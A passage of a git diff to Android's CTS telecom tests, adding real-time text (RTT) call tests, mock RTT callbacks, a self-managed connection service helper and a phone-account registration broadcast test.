+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.Connection;
+import android.telecom.ConnectionRequest;
+import android.telecom.ConnectionService;
+import android.telecom.DisconnectCause;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.assertTrue;
+
+/**
+ * CTS test self-managed {@link ConnectionService} implementation.
+ */
+public class CtsSelfManagedConnectionService extends ConnectionService {
+    // Constants used to address into the mLocks array.
+    public static int CONNECTION_CREATED_LOCK = 0;
+    public static int CREATE_INCOMING_CONNECTION_FAILED_LOCK = 1;
+    public static int CREATE_OUTGOING_CONNECTION_FAILED_LOCK = 2;
+    private static int NUM_LOCKS = CREATE_OUTGOING_CONNECTION_FAILED_LOCK + 1;
+
+    private static CtsSelfManagedConnectionService sConnectionService;
+
+    // Lock used to determine when binding to CS is complete.
+    private static CountDownLatch sBindingLock = new CountDownLatch(1);
+
+    private SelfManagedConnection.Listener mConnectionListener =
+            new SelfManagedConnection.Listener() {
+        @Override
+        void onDestroyed(SelfManagedConnection connection) {
+            mConnections.remove(connection);
+        }
+    };
+
+    private CountDownLatch[] mLocks = new CountDownLatch[NUM_LOCKS];
+
+    private Object mLock = new Object();
+    private List<SelfManagedConnection> mConnections = new ArrayList<>();
+
+    public static CtsSelfManagedConnectionService getConnectionService() {
+        return sConnectionService;
+    }
+
+    public CtsSelfManagedConnectionService() throws Exception {
+        super();
+        sConnectionService = this;
+        Arrays.setAll(mLocks, i -> new CountDownLatch(1));
+
+        // Inform anyone waiting on binding that we're bound.
+        sBindingLock.countDown();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sBindingLock = new CountDownLatch(1);
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerAccount,
+            final ConnectionRequest request) {
+
+        return createSelfManagedConnection(request, false);
+    }
+
+    @Override
+    public Connection onCreateIncomingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
+            ConnectionRequest request) {
+
+        return createSelfManagedConnection(request, true);
+    }
+
+    @Override
+    public void onCreateIncomingConnectionFailed(PhoneAccountHandle connectionManagerHandle,
+                                                 ConnectionRequest request) {
+        mLocks[CREATE_INCOMING_CONNECTION_FAILED_LOCK].countDown();
+    }
+
+    @Override
+    public void onCreateOutgoingConnectionFailed(PhoneAccountHandle connectionManagerHandle,
+                                                 ConnectionRequest request) {
+        mLocks[CREATE_OUTGOING_CONNECTION_FAILED_LOCK].countDown();
+    }
+
+    public void tearDown() {
+        synchronized(mLock) {
+            if (mConnections != null && mConnections.size() > 0) {
+                mConnections.forEach(connection -> {
+                            connection.setDisconnected(new DisconnectCause(DisconnectCause.LOCAL));
+                            connection.destroy();
+                        }
+                );
+                mConnections.clear();
+            }
+        }
+        sBindingLock = new CountDownLatch(1);
+    }
+
+    private Connection createSelfManagedConnection(ConnectionRequest request, boolean isIncoming) {
+        SelfManagedConnection connection = new SelfManagedConnection(isIncoming,
+                mConnectionListener);
+        connection.setConnectionProperties(Connection.PROPERTY_SELF_MANAGED);
+        connection.setAddress(request.getAddress(), TelecomManager.PRESENTATION_ALLOWED);
+        connection.setExtras(request.getExtras());
+
+        Bundle moreExtras = new Bundle();
+        moreExtras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                request.getAccountHandle());
+        connection.putExtras(moreExtras);
+        connection.setVideoState(request.getVideoState());
+
+        synchronized(mLock) {
+            mConnections.add(connection);
+        }
+        mLocks[CONNECTION_CREATED_LOCK].countDown();
+        return connection;
+    }
+
+    public List<SelfManagedConnection> getConnections() {
+        synchronized(mLock) {
+            return new ArrayList<>(mConnections);
+        }
+    }
+
+    /**
+     * Waits on a lock for maximum of 5 seconds.
+     *
+     * @param lock one of the {@code *_LOCK} constants defined above.
+     * @return {@code true} if the lock was released within the time limit, {@code false} if the
+     *      timeout expired without the lock being released.
+     */
+    public boolean waitForUpdate(int lock) {
+        mLocks[lock] = waitForLock(mLocks[lock]);
+        return mLocks[lock] != null;
+    }
+
+    /**
+     * Waits for the {@link ConnectionService} to be found.
+     * @return {@code true} if binding happened within the time limit, or {@code false} otherwise.
+     */
+    public static boolean waitForBinding() {
+        sBindingLock = waitForLock(sBindingLock);
+        return sBindingLock != null;
+    }
+
+    /**
+     * Given a {@link CountDownLatch}, wait for the latch to reach zero for 5 seconds.  If the lock
+     * was released, return a new instance.  Otherwise, return null to indicate that the timeout
+     * expired without the lock being released.
+     *
+     * @param lock The lock to wait on.
+     * @return {@code true} if the lock was released, and {@code false} if it failed to be released.
+     */
+    private static CountDownLatch waitForLock(CountDownLatch lock) {
+        boolean success;
+        try {
+            success = lock.await(5000, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException ie) {
+            return null;
+        }
+
+        if (success) {
+            return new CountDownLatch(1);
+        } else {
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java b/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
index b50e5cc..f63248f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
@@ -82,7 +82,7 @@
             return;
         }
 
-        final InvokeCounter counter = mConnection.getInvokeCounter(
+        final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
                 MockConnection.ON_PULL_EXTERNAL_CALL);
         mCall.pullExternalCall();
         counter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
@@ -97,7 +97,7 @@
         mConnection.setConnectionCapabilities(0);
         assertCallCapabilities(mCall, 0);
 
-        final InvokeCounter counter = mConnection.getInvokeCounter(
+        final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
                 MockConnection.ON_PULL_EXTERNAL_CALL);
         // Try to pull -- we expect Telecom to absorb the request since the call is not pullable.
         mCall.pullExternalCall();
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index 7f5e7ce..f3ffeaa 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -88,7 +88,8 @@
 
         // Do not enable PhoneAccount
         setupConnectionService(null, FLAG_REGISTER);
-        assertFalse(mTelecomManager.getPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE).isEnabled());
+        assertFalse(mTelecomManager.getPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT_HANDLE)
+                .isEnabled());
         try {
             addAndVerifyNewIncomingCall(createTestNumber(), null);
             fail();
diff --git a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
index 702ea23..ee9359c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
@@ -26,8 +26,8 @@
 
 public class MissedCallTest extends BaseTelecomTestWithMockServices {
 
-    InvokeCounter mShowMissedCallNotificationIntentCounter =
-            new InvokeCounter("ShowMissedCallNotificationIntent");
+    TestUtils.InvokeCounter mShowMissedCallNotificationIntentCounter =
+            new TestUtils.InvokeCounter("ShowMissedCallNotificationIntent");
 
     @Override
     protected void setUp() throws Exception {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConference.java b/tests/tests/telecom/src/android/telecom/cts/MockConference.java
index 302f91f..ebf4e3f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConference.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConference.java
@@ -32,8 +32,8 @@
 
     private RemoteConference mRemoteConference = null;
     private String mDtmfString = "";
-    public BaseTelecomTestWithMockServices.InvokeCounter mOnExtrasChanged =
-            new BaseTelecomTestWithMockServices.InvokeCounter("onExtrasChanged");
+    public TestUtils.InvokeCounter mOnExtrasChanged =
+            new TestUtils.InvokeCounter("onExtrasChanged");
 
     public MockConference(PhoneAccountHandle phoneAccount) {
         super(phoneAccount);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 4436219..da4fcf5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -25,7 +25,7 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.RemoteConnection;
 import android.telecom.VideoProfile;
-import android.telecom.cts.BaseTelecomTestWithMockServices.InvokeCounter;
+import android.telecom.cts.TestUtils.InvokeCounter;
 import android.util.SparseArray;
 
 /**
@@ -37,6 +37,9 @@
     public static final int ON_CALL_EVENT = 2;
     public static final int ON_PULL_EXTERNAL_CALL = 3;
     public static final int ON_EXTRAS_CHANGED = 4;
+    public static final int ON_START_RTT = 5;
+    public static final int ON_RTT_REQUEST_RESPONSE = 6;
+    public static final int ON_STOP_RTT = 7;
 
     private CallAudioState mCallAudioState =
             new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -46,6 +49,7 @@
     private MockVideoProvider mMockVideoProvider;
     private PhoneAccountHandle mPhoneAccountHandle;
     private RemoteConnection mRemoteConnection = null;
+    private RttTextStream mRttTextStream;
 
     private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(10);
 
@@ -187,6 +191,36 @@
         }
     }
 
+    @Override
+    public void onStartRtt(RttTextStream rttTextStream) {
+        super.onStartRtt(rttTextStream);
+        if (mInvokeCounterMap.get(ON_START_RTT) != null) {
+            mInvokeCounterMap.get(ON_START_RTT).invoke(rttTextStream);
+        }
+    }
+
+    @Override
+    public void handleRttUpgradeResponse(RttTextStream rttTextStream) {
+        super.handleRttUpgradeResponse(rttTextStream);
+        if (rttTextStream != null) {
+            setRttTextStream(rttTextStream);
+            setConnectionProperties(getConnectionProperties() | PROPERTY_IS_RTT);
+        }
+
+        if (mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE) != null) {
+            mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE).invoke(rttTextStream);
+        }
+    }
+
+    @Override
+    public void onStopRtt() {
+        super.onStopRtt();
+
+        if (mInvokeCounterMap.get(ON_STOP_RTT) != null) {
+            mInvokeCounterMap.get(ON_STOP_RTT).invoke();
+        }
+    }
+
     public int getCurrentState()  {
         return mState;
     }
@@ -264,6 +298,14 @@
         return mRemoteConnection;
     }
 
+    public void setRttTextStream(RttTextStream rttTextStream) {
+        mRttTextStream = rttTextStream;
+    }
+
+    public RttTextStream getRttTextStream() {
+        return mRttTextStream;
+    }
+
     private static String getCounterLabel(int counterIndex) {
         switch (counterIndex) {
             case ON_POST_DIAL_WAIT:
@@ -274,6 +316,12 @@
                 return "onPullExternalCall";
             case ON_EXTRAS_CHANGED:
                 return "onExtrasChanged";
+            case ON_START_RTT:
+                return "onStartRtt";
+            case ON_RTT_REQUEST_RESPONSE:
+                return "onRttRequestResponse";
+            case ON_STOP_RTT:
+                return "onStopRtt";
             default:
                 return "Callback";
         }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 463d3c9..23022b0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -56,6 +56,8 @@
         final MockConnection connection = new MockConnection();
         connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
         connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
+        connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
+                Connection.CAPABILITY_HOLD);
         if (mCreateVideoProvider) {
             connection.createMockVideoProvider();
         } else {
@@ -63,6 +65,11 @@
         }
         connection.setVideoState(request.getVideoState());
         connection.setInitializing();
+        if (request.isRequestingRtt()) {
+            connection.setRttTextStream(request.getRttTextStream());
+            connection.setConnectionProperties(connection.getConnectionProperties() |
+                    Connection.PROPERTY_IS_RTT);
+        }
 
         outgoingConnections.add(connection);
         lock.release();
@@ -79,6 +86,11 @@
                         Connection.CAPABILITY_CAN_SEND_RESPONSE_VIA_CONNECTION);
         connection.createMockVideoProvider();
         ((Connection) connection).setVideoState(request.getVideoState());
+        if (request.isRequestingRtt()) {
+            connection.setRttTextStream(request.getRttTextStream());
+            connection.setConnectionProperties(connection.getConnectionProperties() |
+                    Connection.PROPERTY_IS_RTT);
+        }
         connection.setRinging();
 
         incomingConnections.add(connection);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
index 4ff3cb6..e13335e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
@@ -61,6 +61,10 @@
         public void onCannedTextResponsesLoaded(Call call, List<String> cannedTextResponses) {}
         public void onSilenceRinger() {}
         public void onConnectionEvent(Call call, String event, Bundle extras) {}
+        public void onRttModeChanged(Call call, int mode) {}
+        public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {}
+        public void onRttRequest(Call call, int id) {}
+        public void onRttInitiationFailure(Call call, int reason) {}
 
         final public MockInCallService getService() {
             return mService;
@@ -153,6 +157,38 @@
                 getCallbacks().onConnectionEvent(call, event, extras);
             }
         }
+
+        @Override
+        public void onRttModeChanged(Call call, int mode) {
+            super.onRttModeChanged(call, mode);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttModeChanged(call, mode);
+            }
+        }
+
+        @Override
+        public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+            super.onRttStatusChanged(call, enabled, rttCall);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttStatusChanged(call, enabled, rttCall);
+            }
+        }
+
+        @Override
+        public void onRttRequest(Call call, int id) {
+            super.onRttRequest(call, id);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttRequest(call, id);
+            }
+        }
+
+        @Override
+        public void onRttInitiationFailure(Call call, int reason) {
+            super.onRttInitiationFailure(call, reason);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttInitiationFailure(call, reason);
+            }
+        }
     };
 
     private void saveVideoCall(Call call, VideoCall videoCall) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
new file mode 100644
index 0000000..0601d75
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * Receives {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} and
+ * {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} intents.
+ */
+public class MockPhoneAccountChangedReceiver extends BroadcastReceiver {
+    public interface IntentListener {
+        void onPhoneAccountRegistered(PhoneAccountHandle handle);
+        void onPhoneAccountUnregistered(PhoneAccountHandle handle);
+    }
+
+    private static IntentListener sIntentListener = null;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (sIntentListener != null) {
+            if (TelecomManager.ACTION_PHONE_ACCOUNT_REGISTERED.equals(intent.getAction())) {
+                sIntentListener.onPhoneAccountRegistered(intent.getParcelableExtra(
+                        TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+            } else if (TelecomManager.ACTION_PHONE_ACCOUNT_UNREGISTERED.equals(
+                    intent.getAction())) {
+                sIntentListener.onPhoneAccountUnregistered(intent.getParcelableExtra(
+                        TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+            }
+        }
+    }
+
+    public static void setIntentListener(IntentListener listener) {
+        sIntentListener = listener;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockVideoProvider.java b/tests/tests/telecom/src/android/telecom/cts/MockVideoProvider.java
index 6a0d874..de43969 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockVideoProvider.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockVideoProvider.java
@@ -17,7 +17,6 @@
 package android.telecom.cts;
 
 import android.net.Uri;
-import android.os.RemoteException;
 import android.telecom.Connection;
 import android.telecom.RemoteConnection;
 import android.telecom.VideoProfile;
@@ -50,7 +49,7 @@
     private Surface mPreviewSurface = null;
     private Surface mDisplaySurface = null;
     private VideoProfile mSessionModifyResponse = null;
-    private BaseTelecomTestWithMockServices.InvokeCounter mVideoProviderHandlerTracker;
+    private TestUtils.InvokeCounter mVideoProviderHandlerTracker;
 
     public MockVideoProvider(MockConnection mockConnection) {
         mMockConnection = mockConnection;
@@ -147,7 +146,7 @@
      */
     public void waitForVideoProviderHandler(RemoteConnection.VideoProvider remoteVideoProvider) {
         mVideoProviderHandlerTracker =
-                new BaseTelecomTestWithMockServices.InvokeCounter("WaitForHandler");
+                new TestUtils.InvokeCounter("WaitForHandler");
         remoteVideoProvider.setZoom(0);
         mVideoProviderHandlerTracker.waitForCount(1);
         mVideoProviderHandlerTracker = null;
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 4374516..c9b5000 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -43,6 +43,22 @@
     public static final int TEST_LENGTH = 10;
     public static final String TEST_ENCODING = "enUS";
 
+    private TestUtils.InvokeCounter mPhoneAccountRegisteredLatch;
+    private TestUtils.InvokeCounter mPhoneAccountUnRegisteredLatch;
+
+    MockPhoneAccountChangedReceiver.IntentListener mPhoneAccountIntentListener =
+            new MockPhoneAccountChangedReceiver.IntentListener() {
+                @Override
+                public void onPhoneAccountRegistered(PhoneAccountHandle handle) {
+                    mPhoneAccountRegisteredLatch.invoke(handle);
+                }
+
+                @Override
+                public void onPhoneAccountUnregistered(PhoneAccountHandle handle) {
+                    mPhoneAccountUnRegisteredLatch.invoke(handle);
+                }
+            };
+
     private static Bundle createTestBundle() {
         Bundle testBundle = new Bundle();
         testBundle.putInt(PhoneAccount.EXTRA_CALL_SUBJECT_MAX_LENGTH, TEST_LENGTH);
@@ -96,6 +112,8 @@
             return;
         }
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mPhoneAccountRegisteredLatch = new TestUtils.InvokeCounter("registerPhoneAcct");
+        mPhoneAccountUnRegisteredLatch = new TestUtils.InvokeCounter("unRegisterPhoneAcct");
     }
 
     @Override
@@ -225,4 +243,38 @@
         assertTrue("Phone account should support voicemail URI scheme.",
                 retrievedPhoneAccount.supportsUriScheme(PhoneAccount.SCHEME_VOICEMAIL));
     }
+
+    /**
+     * Verifies that the {@link TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} intent is sent to
+     * the default dialer when a phone account is registered and,
+     * {@link TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} is sent when a phone account is
+     * unregistered.
+     * @throws Exception
+     */
+    public void testRegisterUnregisterPhoneAccountIntent() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        MockPhoneAccountChangedReceiver.setIntentListener(mPhoneAccountIntentListener);
+        String previousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+        try {
+            TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
+
+            mTelecomManager.registerPhoneAccount(TEST_NO_SIM_PHONE_ACCOUNT);
+
+            mPhoneAccountRegisteredLatch.waitForCount(1);
+            PhoneAccountHandle handle =
+                    (PhoneAccountHandle) mPhoneAccountRegisteredLatch.getArgs(0)[0];
+            assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle);
+
+            mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
+            mPhoneAccountUnRegisteredLatch.waitForCount(1);
+            PhoneAccountHandle handle2 =
+                    (PhoneAccountHandle) mPhoneAccountUnRegisteredLatch.getArgs(0)[0];
+            assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle2);
+        } finally {
+            TestUtils.setDefaultDialer(getInstrumentation(), previousDefaultDialer);
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java
index 81080b0..6f992b3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java
@@ -23,7 +23,6 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
-import android.os.Looper;
 import android.telecom.Call;
 import android.telecom.Connection;
 import android.telecom.ConnectionRequest;
diff --git a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
new file mode 100644
index 0000000..a11079f
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.os.Bundle;
+import android.telecom.Call;
+import android.telecom.Connection;
+import android.telecom.TelecomManager;
+
+import java.io.IOException;
+
+public class RttOperationsTest extends BaseTelecomTestWithMockServices {
+    private static final int RTT_SEND_TIMEOUT_MILLIS = 1000;
+    private static final String[] TEST_STRINGS = {
+            "A",
+            "AB",
+            "ABCDEFG",
+            "お疲れ様でした",
+            "😂😂😂💯"
+    };
+    private static final int RTT_FAILURE_REASON = 2;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (mShouldTestTelecom) {
+            setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        }
+    }
+
+    public void testOutgoingRttCall() throws Exception {
+        placeRttCall(false);
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testIncomingRttCall() throws Exception {
+        placeRttCall(true);
+        final MockConnection connection = verifyConnectionForIncomingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testLocalRttUpgradeAccepted() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter startRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_START_RTT);
+        call.sendRttRequest();
+        startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        connection.setRttTextStream((Connection.RttTextStream) startRttCounter.getArgs(0)[0]);
+        connection.sendRttInitiationSuccess();
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testLocalRttUpgradeRejected() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter startRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_START_RTT);
+        call.sendRttRequest();
+        startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        connection.sendRttInitiationFailure(RTT_FAILURE_REASON);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        mOnRttInitiationFailedCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertEquals(call, mOnRttInitiationFailedCounter.getArgs(0)[0]);
+        assertEquals(RTT_FAILURE_REASON, mOnRttInitiationFailedCounter.getArgs(0)[1]);
+        verifyRttDisabled(call);
+    }
+
+    public void testAcceptRemoteRttUpgrade() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter rttRequestResponseCounter =
+                connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+        connection.sendRemoteRttRequest();
+        mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+        call.respondToRttRequest(requestId, true /* accept */);
+
+        rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttEnabled(call, connection);
+    }
+
+    public void testRejectRemoteRttRequest() throws Exception {
+        placeAndVerifyCall();
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+        verifyRttDisabled(call);
+
+        TestUtils.InvokeCounter rttRequestResponseCounter =
+                connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+        connection.sendRemoteRttRequest();
+        mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+        call.respondToRttRequest(requestId, false /* accept */);
+
+        rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertNull(rttRequestResponseCounter.getArgs(0)[0]);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttDisabled(call);
+    }
+
+    public void testLocalRttTermination() throws Exception {
+        placeRttCall(false);
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+
+        // Skipping RTT verification since that's tested by another test
+        TestUtils.InvokeCounter stopRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+        call.stopRtt();
+        stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttDisabled(call);
+    }
+
+    public void testRemoteRttTermination() throws Exception {
+        placeRttCall(false);
+        final MockConnection connection = verifyConnectionForOutgoingCall();
+        final MockInCallService inCallService = mInCallCallbacks.getService();
+        final Call call = inCallService.getLastCall();
+
+        // Skipping RTT verification since that's tested by another test
+        connection.sendRttSessionRemotelyTerminated();
+        TestUtils.InvokeCounter stopRttCounter =
+                connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+        call.stopRtt();
+        stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+        verifyRttDisabled(call);
+    }
+
+    private void verifyRttDisabled(Call call) {
+        TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertFalse(call.isRttActive());
+        assertNull(call.getRttCall());
+    }
+
+    private void verifyRttEnabled(Call call, MockConnection connection) {
+        TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        Connection.RttTextStream connectionSideRtt = connection.getRttTextStream();
+        Call.RttCall inCallSideRtt = call.getRttCall();
+        assertNotNull(connectionSideRtt);
+        assertTrue(call.isRttActive());
+        assertNotNull(inCallSideRtt);
+
+        verifyRttPipeIntegrity(inCallSideRtt, connectionSideRtt);
+    }
+
+    private void verifyRttPipeIntegrity(Call.RttCall inCallSide, Connection.RttTextStream
+            connectionSide) {
